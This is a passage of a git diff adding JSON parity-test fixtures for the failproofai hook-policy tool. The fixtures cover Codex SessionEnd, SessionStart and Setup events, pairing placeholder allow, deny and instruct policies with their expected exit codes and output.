"sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SessionEnd/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c2d8edab --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SessionStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..3a916a11 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SessionStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..b4e83c8a --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SessionStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..f41cc16b --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SessionStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..3ff4befe --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SessionStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..77d2527b --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SessionStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..766a320c --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SessionStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..25e83dd1 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SessionStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..bf35bcda --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SessionStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..c6a63ac9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SessionStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..a9ece0a2 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SessionStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..bb6b3d7f --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SessionStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..89a253c7 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SessionStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8c377bac --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SessionStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..067167d7 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SessionStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..42a1108b --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SessionStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..38e3e518 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Setup/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Setup/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..597a008c --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Setup/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Setup/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..779da682 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Setup/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Setup/allow-silent__tool-present__one-policy.json 